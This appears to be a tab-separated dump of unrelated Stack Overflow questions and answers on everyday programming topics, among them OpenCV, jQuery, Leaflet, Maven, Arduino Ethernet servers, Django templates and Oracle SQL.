23153353	0	 <p>Ok after some trial and error I appear to have solved this issue now. </p> <p>I have changed the drawMatches method to swap the "roiImg" and key points with "compare" and key points.</p> <pre><code>drawMatches(compare, keypoints_scene, roiImg, keypoints_object, good_NNmatches, img_matches, Scalar::all(-1), Scalar::all(-1), vector&lt;char&gt;(), DrawMatchesFlags::NOT_DRAW_SINGLE_POINTS ); </code></pre> <p>This stopped the assertion error. But due to swapping the values around when it came to retrieving the key points I also had to make some changes. trainIdx and queryIdx have also been swapped to account for the previous changes made.</p> <pre><code>obj.push_back( keypoints_object[ good_NNmatches[i].trainIdx ].pt ); scene.push_back( keypoints_scene[ good_NNmatches[i].queryIdx ].pt ); </code></pre>
8645438	0	 <p>below is a slice of my routine and it works fine : </p> <pre><code>var data = 'post_type=' + post_type.val() + '&amp;page_id=' + page_id.val() + '&amp;home_page=' + home_page.attr('checked') + '&amp;archive_page=' + archive_page.attr('checked') + '&amp;search_page=' + search_page.attr('checked'); //start the ajax $.ajax({ //this is the php file that processes the data and send mail url: "?service=set_data", //GET method is used type: "GET", //pass the data data: data, //Do not cache the page cache: true, //success success: function (html) { $(".no-items").hide("slow"); $("#list_table").append(html).hide().slideDown('slow'); } }); </code></pre>
29993697	0	Leaflet map in ionic/angular map displays grey tiles <p>I'm working on a mapping app using ionic and leaflet. Note that I am not using the leaflet angular directive, I am using straight JS for the leaflet map (I know, I know...).</p> <p>The initial state in my app loads the leaflet map just fine. If I switch to another state and back to the map everything is also fine. However, if I launch the app, switch to a different state and open a modal window in that state, then return to the original state, the map is broken and displays a number of grey tiles. The map will not update until the browser window resizes or the orientation of the mobile device is changed.</p> <p>Here's a demo on Plunker: <a href="http://plnkr.co/edit/w67K2b?p=preview" rel="nofollow">http://plnkr.co/edit/w67K2b?p=preview</a>. To reproduce:</p> <ol> <li>Click the button at the right side of the navbar which will take you to a different state.</li> <li>Click the 'Back to map' button to go back to the original state. The map looks just fine.</li> <li>Click the button in the navbar again.</li> <li>Click the 'Open modal' button and then close the modal.</li> <li>Click the 'Back to map' button and you will see that the map is now broken.</li> </ol> <p>I've seen other people report issues with grey tiles, which typically can be resolved with a call to:</p> <pre><code>map.invalidateSize() </code></pre> <p>Unfortunately this does not resolve my issue. I'm pretty much a newb, but I think the problem is that when the modal opens, the invalidateSize() method in the leaflet source code is run, since the map div is not visible, the 'size' gets set to x:0, y:0 which ends up breaking the map when I transition back to the original state.</p> <p>I'm not really sure where to go from here. Perhaps I can use JS to dynamically resize the div and trick leaflet into thinking a resize event has occurred? How would I do this? Any other thoughts?</p> <p>Thanks!</p>
3678424	0	 <p>This is really poorly explained in the documentation, but actually gyp is already present if you've done an ordinary checkout of breakpad. Open a command prompt and place yourself in the root ( google-breakpad-read-only if you're going by the instructions ). Then just do: </p> <p>src\tools\gyp\gyp.bat src\client\windows\breakpad_client.gyp</p> <p>This will generate visual studio sln files for you.</p>
10809533	0	jTables Filtering for PHP <p>jTable (www.jtable.org) has great references to Filtering on its website, but its for ASP.NET. I require it to use for PHP, but sadly the documentation made no mention of the APIs for filtering except for the sample ASP.NET server side file. </p> <p>Anyway, jTables uses:</p> <pre><code>//Re-load records when user click 'load records' button. $('#LoadRecordsButton').click(function (e) { e.preventDefault(); $('#PeopleTableContainer').jtable('load', { Name: $('#Name').val(), Branch: $('#Branch').val() }); }); </code></pre> <p>I can see that I can pass values to the server using the Name and branch, but I don't know how to catch that on the PHP code so I can do a <code>WHERE</code> on my mysql code. </p>
9443294	0	 <p>The plugin works the same as the <a href="http://maven.apache.org/" rel="nofollow">Maven</a> command line progam mvn.</p> <p>Assuming your project's POM and Maven settings file does not change the default repository settings Maven will download files from Maven Central</p> <p><a href="http://repo1.maven.org/maven2/" rel="nofollow">http://repo1.maven.org/maven2/</a></p> <p>So taking a dependency as follows:</p> <pre><code>&lt;dependency&gt; &lt;groupId&gt;log4j&lt;/groupId&gt; &lt;artifactId&gt;log4j&lt;/artifactId&gt; &lt;version&gt;1.2.16&lt;/version&gt; &lt;/dependency&gt; </code></pre> <p>Maven will use the following URL convention (Maven2 repository layout):</p> <pre><code>&lt;Repository URL&gt;/&lt;groupId&gt;/&lt;artifactId&gt;/&lt;version&gt;/&lt;artifactId&gt;-&lt;version&gt;.&lt;packaging&gt; </code></pre> <p>To download 2 files:</p> <ol> <li><a href="http://repo1.maven.org/maven2/log4j/log4j/1.2.16/log4j-1.2.16.pom" rel="nofollow">http://repo1.maven.org/maven2/log4j/log4j/1.2.16/log4j-1.2.16.pom</a></li> <li><a href="http://repo1.maven.org/maven2/log4j/log4j/1.2.16/log4j-1.2.16.jar" rel="nofollow">http://repo1.maven.org/maven2/log4j/log4j/1.2.16/log4j-1.2.16.jar</a></li> </ol> <p>The first is the module POM, whose <strong>packaging</strong> element will indicate the file name extension to use when downloading the second file (defaults to "jar").</p> <p>Finally Maven will recursively read the POM files associated with other dependencies listed in the POM and decide which other modules to download (Dependencies of Dependencies)</p>
6401336	0	Find element not directly in dom path <p>I have a dom structure that looks something like (although a lot more complex)</p> <pre><code>&lt;div&gt; &lt;div&gt; &lt;div&gt; &lt;div class="remaining"&gt;132&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div&gt; &lt;button&gt;clicky&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;div&gt; &lt;div&gt; &lt;div&gt; &lt;div class="remaining"&gt;142&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div&gt; &lt;button&gt;clicky&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; &lt;div&gt; &lt;div&gt; &lt;div&gt; &lt;div class="remaining"&gt;152&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;div&gt; &lt;button&gt;clicky&lt;/button&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>As you can see the divs with class <code>remaining</code> arn't directly in the dom path of the relative buttons.</p> <p>How can I when the button is clicked, increment the relative <code>remaining</code> div by 1?</p>
25910666	0	Opening a unit test in Microsoft Test Manager <p>I have a simple unit test project on Visual Studio 2012 Professional. I want to open this unit test using Microsoft Test Manager and run it. Is this possible? How do I do this? Thank you.</p>
2332533	0	 <p>I used "eclipse -refresh". Apparently it hangs on refresh something, the lower right corner tells you, what it's doing. For me it was refreshing the gwt runtime in a specific project, maybe trying to find an update or something. If you don't want to reimport your whole workspace, try -refresh or move this project temporarily out of the way.</p>
5149580	0	 <p>Consider a few points:</p> <ul> <li><p>Keep your blacklist (business logic) checking in your application, and perform the comparison in your application. That's where it most belongs, and you'll likely have richer programming languages to implement that logic.</p></li> <li><p>Load your half million records into your application, and store it in a cache of some kind. On each signup, perform your check against the cache. This will avoid hitting your table on each signup. It'll be all in-memory in your application, and will be much more performant.</p></li> <li><p>Ensure <code>myEnteredUserName</code> doesn't have a blacklisted word at the beginning, end, and anywhere in between. Your question specifically had a begins-with check, but ensure that you don't miss out on <code>123_BadWord999</code>.</p></li> <li><p>Caching bring its own set of new challenges; consider reloading from the database everyday n minutes, or at a certain time or event. This will allow new blacklisted words to be loaded, and old ones to be thrown out. </p></li> </ul>
28639829	0	 <p>I'm not sure if that's what you're looking for, but just as a quick example without having looked at the actual code but using the CSS from the Stackoverflow tag elements - you can just retrieve the value of the input on <code>change()</code>, create an element, append the value of input and an additional element to remove the created and appended element on <code>click()</code>. As the new tag is appended and not already in the DOM when the page is loaded, you can use <code>on()</code> to delegate this <code>click()</code> event from a parent element. Instead of <code>document</code> any parent element can be used to delegate the event. </p> <p>For reference: <a href="http://api.jquery.com/on/" rel="nofollow">http://api.jquery.com/on/</a></p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(".taginput").on("change", function () { var tagval = $(this).val(); var tagelement = $("&lt;a&gt;"); var remove = $("&lt;span class='remove'&gt;x&lt;/span&gt;") $(tagelement).append(tagval).append(remove).addClass("tag"); $("body").append(tagelement); $(".taginput").remove(); }); $(document).on("click", ".remove", function () { $(this).parent().remove(); });</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>.tag { background: none repeat scroll 0 0 #e4edf4; border: 1px solid #e4edf4; border-radius: 0; color: #3e6d8e; display: inline-block; font-size: 12px; line-height: 1; margin: 2px 2px 2px 0; padding: 0.4em 0.5em; text-align: center; text-decoration: none; white-space: nowrap; } .remove { padding-left:10px; position:relative; top:-2px; } .remove:hover { cursor:pointer; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;input class="taginput" type="text"/&gt;</code></pre> </div> </div> </p>
1037897	0	 <p>I think you're thinking at too low of a level. XML is not so much "binary" as it is an abstraction on top of binary. If you want to replace snippets of XML as they come across your line, you'll have to poke into the payload portion of the packets and look for patterns of XML.. a simple way is to use a regular expression after rebuilding the bytes into content temporarily.</p> <p>Once you have this search and you have matched what you want, you can replace what you want to replace and re-send.</p> <p>The hard part of this is that you will likely need to cache some input before it leaves your machine so that you are able to find the beginning and end of what it is you are searching for. What makes this difficult is that often times, you don't know what constitutes the "beginning" and the "end" of a data payload.</p>
28970996	0	 <p>All methods of which I am aware to return an array from a function have weaknesses and strengths.</p> <p>Wrapping in a struc avoids the overhead of allocating and freeing memory, as well as avoids remembering to free. You have those problems on any solution that uses malloc, calloc, and realloc. On the other hand, wrapping in a struct requires knowing the maximum possible size of the array, and is decidedly wasteful of memory and execution time for large arrays (for example, loading a file into memory and passing the file contents around from function to function by copying).</p>
35362467	0	 <p>Payload for iOS is bit different. The structure should be following format</p> <pre><code>{ "content_available":true, "to":"gcm_token_of_the_device", "priority":"high", "notification": { "body":"anything", "title":"any title" } } </code></pre> <p><strong>Note:</strong> Content_available should be true and priority should be high then only u recevied the notification. when your app is in closed state</p>
19771800	0	Arduino Ethernet web server problems <p>I got some problems with my Arduino code i made a Arduino Ethernet SD web server its task is to get a comand and light a Power switch and show if the switch is on or off Everything works perfect. But the problem is that i can connect to arduino web server a couple of times then something happens and i cant connect to it then i have to restart it to be able to connect to it again. Could any one pls help me?</p> <pre><code>#include &lt;SPI.h&gt; #include &lt;Ethernet.h&gt; #include &lt;SD.h&gt; #include &lt;RemoteTransmitter.h&gt; // size of buffer used to capture HTTP requests #define REQ_BUF_SZ 60 // MAC address from Ethernet shield sticker under board byte mac[] = { 0x90, 0xA2, 0xDA, 0x0E, 0x95, 0x2F }; IPAddress ip(192, 168, 1, 200); // IP address, may need to change depending on network EthernetServer server(80); // create a server at port 80 File webFile; // the web page file on the SD card char HTTP_req[REQ_BUF_SZ] = {0}; // buffered HTTP request stored as null terminated string char req_index = 0; // index into HTTP_req buffer boolean LED_state[3] = {0}; // stores the states of the LEDs ActionTransmitter actionTransmitter(9); void setup() { // Everything resets to Off if arduino is reseted actionTransmitter.sendSignal(1,'A',false); actionTransmitter.sendSignal(1,'B',false); actionTransmitter.sendSignal(1,'C',false); // disable Ethernet chip pinMode(10, OUTPUT); digitalWrite(10, HIGH); Serial.begin(9600); // for debugging // initialize SD card Serial.println("Initializing SD card..."); if (!SD.begin(4)) { Serial.println("ERROR - SD card initialization failed!"); return; // init failed } Serial.println("SUCCESS - SD card initialized."); // check for index.htm file if (!SD.exists("index.htm")) { Serial.println("ERROR - Can't find index.htm file!"); return; // can't find index file } Serial.println("SUCCESS - Found index.htm file."); Ethernet.begin(mac, ip); // initialize Ethernet device server.begin(); // start to listen for clients } void loop() { EthernetClient client = server.available(); // try to get client if (client) { // got client? boolean currentLineIsBlank = true; while (client.connected()) { if (client.available()) { // client data available to read char c = client.read(); // read 1 byte (character) from client // limit the size of the stored received HTTP request // buffer first part of HTTP request in HTTP_req array (string) // leave last element in array as 0 to null terminate string (REQ_BUF_SZ - 1) if (req_index &lt; (REQ_BUF_SZ - 1)) { HTTP_req[req_index] = c; // save HTTP request character req_index++; } // last line of client request is blank and ends with \n // respond to client only after last line received if (c == '\n' &amp;&amp; currentLineIsBlank) { // send a standard http response header client.println("HTTP/1.1 200 OK"); // remainder of header follows below, depending on if // web page or XML page is requested // Ajax request - send XML file if (StrContains(HTTP_req, "ajax_inputs")) { // send rest of HTTP header client.println("Content-Type: text/xml"); client.println("Connection: keep-alive"); client.println(); SetLEDs(); // send XML file containing input states XML_response(client); } else { // web page request // send rest of HTTP header client.println("Content-Type: text/html"); client.println("Connection: keep-alive"); client.println(); // send web page webFile = SD.open("index.htm"); // open web page file if (webFile) { while(webFile.available()) { client.write(webFile.read()); // send web page to client } webFile.close(); } } // display received HTTP request on serial port Serial.print(HTTP_req); // reset buffer index and all buffer elements to 0 req_index = 0; StrClear(HTTP_req, REQ_BUF_SZ); break; } // every line of text received from the client ends with \r\n if (c == '\n') { // last character on line of received text // starting new line with next character read currentLineIsBlank = true; } else if (c != '\r') { // a text character was received from client currentLineIsBlank = false; } } // end if (client.available()) } // end while (client.connected()) delay(1); // give the web browser time to receive the data client.stop(); // close the connection } // end if (client) } // checks if received HTTP request is switching on/off LEDs // also saves the state of the LEDs void SetLEDs(void) { // LED 3 (pin 8) if (StrContains(HTTP_req, "LED1=1")) { LED_state[0] = 1; // save LED state actionTransmitter.sendSignal(1,'A',true); Serial.print("button 1 on "); } else if (StrContains(HTTP_req, "LED1=0")) { LED_state[0] = 0; // save LED state actionTransmitter.sendSignal(1,'A',false); Serial.print("button 1 off"); } // LED 4 (pin 9) if (StrContains(HTTP_req, "LED2=1")) { LED_state[1] = 1; // save LED state actionTransmitter.sendSignal(1,'B',true); } else if (StrContains(HTTP_req, "LED2=0")) { LED_state[1] = 0; // save LED state actionTransmitter.sendSignal(1,'B',false); } if (StrContains(HTTP_req, "LED3=1")) { LED_state[2] = 1; // save LED state actionTransmitter.sendSignal(1,'C',true); } else if (StrContains(HTTP_req, "LED3=0")) { LED_state[2] = 0; // save LED state actionTransmitter.sendSignal(1,'C',false); } } // send the XML file with analog values, switch status // and LED status void XML_response(EthernetClient cl) { int analog_val; // stores value read from analog inputs int count; // used by 'for' loops cl.print("&lt;?xml version = \"1.0\" ?&gt;"); cl.print("&lt;inputs&gt;"); // button LED states // LED3 cl.print("&lt;LED&gt;"); if (LED_state[0]) { cl.print("on"); } else { cl.print("off"); } cl.println("&lt;/LED&gt;"); // LED4 cl.print("&lt;LED&gt;"); if (LED_state[1]) { cl.print("on"); } else { cl.print("off"); } cl.println("&lt;/LED&gt;"); // new led cl.print("&lt;LED&gt;"); if (LED_state[2]) { cl.print("on"); } else { cl.print("off"); } cl.println("&lt;/LED&gt;"); cl.print("&lt;/inputs&gt;"); } // sets every element of str to 0 (clears array) void StrClear(char *str, char length) { for (int i = 0; i &lt; length; i++) { str[i] = 0; } } // searches for the string sfind in the string str // returns 1 if string found // returns 0 if string not found char StrContains(char *str, char *sfind) { char found = 0; char index = 0; char len; len = strlen(str); if (strlen(sfind) &gt; len) { return 0; } while (index &lt; len) { if (str[index] == sfind[found]) { found++; if (strlen(sfind) == found) { return 1; } } else { found = 0; } index++; } return 0; } </code></pre>
32596993	0	Best way to convert an already-existing ArcGIS Javascript Map Application to an Offline Windows Application <p>I currently have a working ArcGIS JavaScript map application with a lot of functionality with it. I found out that some of our engineers who will be using the web map in the field will sometimes not have internet access and I have been asked to look into ways to create an offline version of the application. I know this is possible using ArcGIS SDK methods, but I do not know those languages and how I would go from JavaScript to those languages. I am wondering what the best way to convert an ArcGIS JavaScript application to an Offline Windows Application would be if there is one. If anyone has experience doing this, advice would be extremely appreciated! Thanks.</p>
4187054	0	 <p>Using a template for loop? You may try this using:</p> <blockquote> <p>forloop.counter</p> </blockquote> <p>see the docs here: <a href="http://docs.djangoproject.com/en/dev/ref/templates/builtins/?from=olddocs" rel="nofollow">http://docs.djangoproject.com/en/dev/ref/templates/builtins/?from=olddocs</a> </p> <p>Implementation:</p> <pre><code>{% for s in list%} {% for subject in s%} {% for sub in subject %} &lt;div id="{{ sub| getid:forloop.counter+(forloop.parentloop.counter - 1)*total_iterations_inner_loop+(forloop.parentloop.parentloop.counter-1)*total_iterations_mid_loop*total_iterations_inner_loop }}"&gt;&lt;/div&gt; {% endfor %} {% endfor %} {% endfor %} </code></pre>
19534477	0	Animate image icon from touch place to right-top corner? <p>I am working on Android onlineShopping application.I have to apply some animation.</p> <ol> <li>cart image is displays on Right-top corner of the screen.</li> <li>List of items are on screen each item with "Add to cart" button.</li> <li>When user press this button I have to play animation.</li> <li>I have one fix image which should animate from touch position to cart-image placed on right-top corner of the screen.</li> </ol> <p>Please help me out.</p> <p>Thanks in advance.</p> <p>Update :</p> <p>I Tried this to move image from one place to another.</p> <pre><code>TranslateAnimation anim = new TranslateAnimation(0,0,200,200); anim.setDuration(3000); img.startAnimation(anim); </code></pre> <p>This image I want to animate from touch position to right-top corner. <img src="https://i.stack.imgur.com/fErsF.png" alt="enter image description here"></p>
5071693	0	 <p>What type of cache do you use?</p> <p>This sequence works fine for me:</p> <pre><code>child.setParent(parent); parent.getChildren().add(child); session.saveOrUpdate(child); session.flush(); </code></pre> <p>Also, make sure that you REALLY need that cache. In my experience, 2-nd level cache rarely accelerates real applications and yet creates a lot of problems.</p>
12111036	0	 <p>would this work:</p> <pre><code>&lt;table&gt; @for (int i = 0; i &lt;= Model.checkItems.Count; i++) { if (i % 6 == 0) { &lt;tr&gt; &lt;td&gt; &lt;input type="checkbox" id="chk_@(Model.checkItems[i].DisplayText)" name="chk" nameVal = "@Model.checkItems[i].DisplayText" value="@Model.checkItems[i].Value"/&gt; &lt;label for="chkGroup_@(Model.checkItems[i].DisplayText)"&gt;@Model.checkItems[i].DisplayText &lt;/td&gt; &lt;/tr&gt; } } &lt;/table&gt; </code></pre>
11595147	0	 <p>You probably want to just use Attributes to specify your validation rules. This is the namespace where all the basic validations exist: <a href="http://msdn.microsoft.com/en-us/library/system.componentmodel.dataannotations.aspx" rel="nofollow">ComonpentModel.DataAnnotations</a>. If you want to get fancier, this NuGet package gives you lots of extra attributes: <a href="http://dataannotationsextensions.org/" rel="nofollow">Data Annotation Extensions</a>. Both of these support client side validation with ASP.NET's MVC unobtrusive validation.</p>
35535018	0	 <p>Like other aggregate functions, <a href="http://docs.oracle.com/cd/E11882_01/server.112/e41084/functions089.htm#SQLRF30030" rel="nofollow"><code>listagg</code> also supports analytic functions</a>. So, we can partition it by values. <code>floor(rownum/50)</code> gives the same value for 50 consecutive rows.</p> <pre><code>select distinct '^.*(' || listagg(id, '|') within group (order by id) over (partition by floor(rownum / 50)) || ')' regex from mytable </code></pre>
26509285	0	Multiple modules with same build type <p>I have a gradle android project with two modules:</p> <ul> <li>Wear</li> <li>App (which is the phone app)</li> </ul> <p>In my gradle configuration I have different build types. The defaults (debug and release, each with custom settings), and dev and beta build type (also with custom signing, custom proguard and custom applicationIdSuffix.</p> <p>What I now want to do is to build the app package with for example the buildType beta (gradle clean assembleBeta). That starts building the app in beta, sees that it has a dependency to wear, and starts building wear. BUT here's the problem. The wear module is being built with the release build type instead of the same beta-build-type I used to initiate the build.</p> <p>The custom build type configuration is exactly the same on the two modules, and thus manually building the wear module with beta build type does work. But having a wear module built with beta and packaged inside the app module also built with beta does not work.</p> <p>Any ideas how I can achieve that?</p>
27047590	0	 <blockquote> <p>JUnit's assertEquals() and such - good for tests, but can't use in main code</p> </blockquote> <p>Nothing technically prevents you from using JUnit assetions (and/or Hamcrest matchers) in your main code. Just include the Junit jar in your classpath. It's usually not done but that's more of a convention than any technical limitation.</p> <p>Java 7 also introduced <code>Objects.requireNotNull(obj, message)</code> and similar methods although not as full featured as JUnit assertions. </p> <p>but I think if you want to go with a more standardized approach Guava's preconditions is probably best.</p>
29561751	1	NTPLib Time Difference + Python <p>while using ntp time, (UK) it always returns one hour less than the actual time. Eg: now time is 13.35 But when I say date, it returns 12.35. Any suggestions ?</p> <pre><code> try: c = ntplib.NTPClient() response = c.request('uk.pool.ntp.org', version=3) except: print "Error At Time Sync: Let Me Check!" </code></pre>
7438712	0	 <p>The idea behind this assert is to check if first row after added ones was correctly moved. If there are some rows after inserted ones, then their data are compared. If there aren't any, your model should both in the line</p> <pre><code>c.next = model-&gt;data ( model-&gt;index ( start, 0, parent ) ); </code></pre> <p>and in</p> <pre><code>Q_ASSERT ( c.next == model-&gt;data ( model-&gt;index ( end + 1, 0, c.parent ) ) ); </code></pre> <p>should return invalid (empty) QVariant. If both return empty QVariant (as they should) assertion succedes, thus providing some level of error-checking even in case of no rows after currently inserted.</p>
2862469	0	iPhone SDK Objective-C __DATE__ (compile date) can't be converted to an NSDate <pre><code>//NSString *compileDate = [NSString stringWithFormat:@"%s", __DATE__]; NSString *compileDate = [NSString stringWithUTF8String:__DATE__]; NSDateFormatter *df = [[[NSDateFormatter alloc] init] autorelease]; [df setDateFormat:@"MMM d yyyy"]; //[df setDateFormat:@"MMM dd yyyy"]; NSDate *aDate = [df dateFromString:compileDate]; </code></pre> <p>Ok, I give up. Why would aDate sometimes return as nil?</p> <p>Should it matter if I use the commented-out lines... or their matching replacement lines?</p>
37370903	0	random value assign with the class combination <p>Here is the case I have got a spell class </p> <pre><code> public abstract class Spell { public abstract void Castspell (); } public class Heal:Spell { Dictionary&lt;string, int&gt; heals = new Dictionary&lt;string,int&gt; (); public Heal() { heals.Add ("less heal", 1); heals.Add ("medium heal", 2); heals.Add (" large heal", 3); } public override void Castspell() { } } </code></pre> <p>ignore the Castspell(), and there is another class called student</p> <pre><code> public class student { public enum spells { lessheal, mediumheal, highheal } List&lt;Spell&gt; _skillist = new List&lt;Spell&gt;(); public student() { //... } public void learnskills() { _skillist.Clear (); Spell newspell = new Spell (); _skillist.Add (newspell); } </code></pre> <p>what I am trying to do here is I wanna make learn skill method, each time I Call It will randomly add a heal spell into the _skillist.(it could be less, medium or high). how could I achieve it? please give me some advices about it.thanks</p>
33845898	0	 <p>According to the stacktrace, angular didn't found the module <code>ngAnimate</code>. You probably forgot to link angular-animate script from your <em>index.html</em> page.</p> <p><strong>index.html</strong></p> <pre><code>&lt;script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.js"&gt;&lt;/script&gt; &lt;script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular-animate.js"&gt;&lt;/script&gt; &lt;script src="//angular-ui.github.io/bootstrap/ui-bootstrap-tpls-0.14.3.js"&gt;&lt;/script&gt; </code></pre>
8177540	0	 <p>Precede your list name by a star:</p> <pre><code>def foo(a, b, c): print(a, b, c) a = [1,2,3] foo(*a) # 1 2 3 </code></pre> <p>The star unpacks the list, which gives 3 separate values.</p>
34829171	0	How to resize canvas and its background image while somehow maintaining the co-ordinate scale? <p>I want my canvas and background image to scale to any browser size which I have learnt is possible through this.</p> <pre><code>&lt;canvas id="canvas" style="width:100%; height:100%; background-size:100% 100%; left:0px; top: 0px;"&gt; </code></pre> <p>Setting the width and height using percentages causes whatever I draw on top to come out blurred. The reason for this I read is that it comes out blurry because the width and height of canvas set using css is different.</p> <p>It is absolutely imperative that I keep track of the co-ordinates since I have written a collision detection logic using the original size of the image.</p> <p>Is it possible to dynamically change the canvas size to fill the screen, redraw it and ensure that the collision logic works perfectly without blurry drawing on top?</p> <p>Lets take an example here. The image floor.jpg that I want as the background of the canvas is 1200X700. I want the canvas to be 100% of the page width and height. My animated player that moves on top of it requires collision detection with walls which I have coded keeping in mind the 1200x700 image. </p> <p>I have gone through the various similar question on this site, but can't seem to figure it out.</p>
32136165	0	 <p>That should be an update query instead of an insert query:</p> <pre><code>mysql_query("UPDATE users SET profile = '$file' WHERE id = '$var'"); </code></pre> <p>Also note that:</p> <ul> <li>You're using a deprecated API. Consider switching to the <code>mysqli_*</code> functions or using PDO.</li> <li>You're wide open to SQL injection attacks. Consider using prepared statements.</li> </ul>
18860799	0	Modify File Contents based on starting element/string <p>I have a HL7 File like:</p> <pre><code>MSH|^~\&amp;|ABC|000|ABC|ABC|0000||ABC|000|A|00 PID|1|000|||ABC||000|A|||||||||| OBR|1|||00||00|00|||||||||||ABC|00|0|0||||A|||||00||ABC|7ABC||ABC OBX|1|ABC|ABC|1|SGVsbG8= OBX|2|ABC|ABC|1|XYTA OBX|3|ABC|ABC|1|UYYA </code></pre> <p>I have to read only OBX segments and get the text after 5th pipe (|).</p> <p>Currently I am doing this with:</p> <pre><code> StreamReader reader = new StreamReader(@"C:\Users\vemarajs\Desktop\HL7\Ministry\HSHS.txt"); string strTest = reader.ReadToEnd(); string OBX1 = strTest.Split('\n')[3]; File.AppendAllText(@"C:\Users\vemarajs\Desktop\Test\OBX.txt", OBX1 + Environment.NewLine); List&lt;string&gt; list = new List&lt;string&gt;(); using (reader) { string line; while ((line = reader.ReadLine()) != null) { list.Add(line); if (line.StartsWith("OBX|") == true) { string txt = line.Split('|')[5]; File.AppendAllText(@"C:\Users\vemarajs\Desktop\Test\test.txt", txt+Environment.NewLine); } else { //string x = line + Environment.NewLine + OBX1.Distinct(); File.AppendAllText(@"C:\Users\vemarajs\Desktop\Test\newtest.txt", line + Environment.NewLine); } </code></pre> <p>File.AppendAllText(@"C:\Users\vemarajs\Desktop\Test\newtest.txt", OBX1.Distinct().ToList() + Environment.NewLine);</p> <p>This extracts the contents of each OBX segment at element 5 (after 5 pipes) and writes out a file called test.text, in my else statement I am trying to modify the original HL7 file by deleting OBX|2 and OBX|3 to have only One OBX|1 as we expect the number of OBX segments inside the HL7 file to reach 40 or more and we don't wan't to keep those many while returning the message to its messagebox.</p> <p>How do I get the first occurrence of OBX|1 without saying the line number is 4, this might change.</p> <p>This is the working code:</p> <pre><code> StreamReader reader = new StreamReader(@"C:\Users\vemarajs\Desktop\HL7\Ministry\HSHS.txt"); string strTest = reader.ReadToEnd(); reader.DiscardBufferedData(); reader.BaseStream.Seek(0, SeekOrigin.Begin); reader.BaseStream.Position = 0; string OBXstr = string.Empty; string x = null; string fileName = Guid.NewGuid().ToString() + ".txt"; StringBuilder sb = new StringBuilder(); List&lt;string&gt; list = new List&lt;string&gt;(); using (reader) { string line; while ((line = reader.ReadLine()) != null) { list.Add(line); if (line.StartsWith("OBX|") == true) { string txt = line.Split('|')[5]; File.AppendAllText(@"C:\Users\vemarajs\Desktop\Test\"+fileName, txt + Environment.NewLine); } else { sb.AppendLine(line); } } int obx1Index = 0; int obx2Index = 0; var obx1IDR = "\r" + "OBX" + "|" + "1"; var obx1IDN = "\n" + "OBX" + "|" + "1"; var obx2IDR = "\r" + "OBX" + "|" + "2"; var obx2IDN = "\n" + "OBX" + "|" + "2"; obx1Index = strTest.IndexOf(obx1IDN); if (obx1Index &lt; 1) obx1Index = strTest.IndexOf(obx1IDR); obx2Index = strTest.IndexOf(obx2IDN); if (obx2Index &lt; 1) obx2Index = strTest.IndexOf(obx2IDR); if (obx1Index &gt; 0) { OBXstr = strTest.Substring(obx1Index, obx2Index - obx1Index - 1); OBXstr = OBXstr.Replace(strTest.Substring(obx1Index, obx2Index - obx1Index - 1).Split('|')[5], fileName); } } sb.Append(OBXstr); x = sb.ToString(); File.WriteAllText(@"C:\Users\vemarajs\Desktop\Test\newtest.txt", x); reader.Close(); </code></pre>
21802196	0	 <p>If you want to treat this as a 1d array, you must declare it as so:</p> <pre><code>void data(int i,int arr[],int size) { </code></pre> <p>Or:</p> <pre><code>void data(int i,int *arr,int size) { </code></pre> <p>The reason is that otherwise, <code>arr[i]</code> is interpreted as an array of 2 integers, which decays into a pointer to the first element (and that's the address that is printed).</p> <p>Declaring it as a 1-dimensional array will make sure that <code>arr[i]</code> is seen as an <code>int</code>.</p> <p>Note that whoever calls this function cannot pass a 2D array anymore, or, put another way, cannot make that obvious to the compiler. Instead, you have to pass it a pointer to the first element, as in:</p> <pre><code>data(0, &amp;arr[0][0], 4); </code></pre> <p>Or, equivalently:</p> <pre><code>data(0, arr[0], 4); </code></pre> <p>This just affects the first call, the recursive call is correct, of course.</p> <p>In other words, the code should work, you just need to change the declaration of the parameter <code>arr</code></p>
22968065	0	 <p>It looks like it's saying it can't get to your database. The database may only be allowing access from certain machines.</p> <p>This isn't an error from Django; it's from the <code>sqlserver_ado</code> Python module you have installed. Check its documentation for a "Provider cannot be found" error.</p>
20539780	0	The Web Application Project is configured to use IIS. The Web server could not be found <p>An ASP.NET web project loads with up the solution, but I get this error</p> <p>The Web Application Project Module Example is configured to use IIS. The Web Server '<a href="http://dnndev.me/desktopmodules/Module_Example" rel="nofollow">http://dnndev.me/desktopmodules/Module_Example</a>' could not be found.</p>
15702981	0	 <p>You can quite easily achieve this with a single query:</p> <pre><code>UPDATE `Members` SET `fullname` = CONCAT(`fname`, ' ', `lname`) WHERE `member_id` = '".$_SESSION['SESS_MEMBER_ID']."' AND `fullname` = 0 LIMIT 1; </code></pre>
26058568	0	 <p>Hi may be I am late but I have a good news for you.</p> <p>Apple provide a new feature in IOS 7 and we can lock the user to single mode without user permission(Lock and unlock mode) here is the apple documentation link</p> <p><a href="https://developer.apple.com/library/ios/documentation/UIKit/Reference/UIKitFunctionReference/#//apple_ref/c/func/UIAccessibilityRequestGuidedAccessSession" rel="nofollow">https://developer.apple.com/library/ios/documentation/UIKit/Reference/UIKitFunctionReference/#//apple_ref/c/func/UIAccessibilityRequestGuidedAccessSession</a></p> <p>the other way is to install the profile config profile like is</p> <p><a href="http://ipadhire.co.nz/lockdown.mobileconfig" rel="nofollow">http://ipadhire.co.nz/lockdown.mobileconfig</a></p> <p>it lock the home button of IPhone and enable single mode</p>
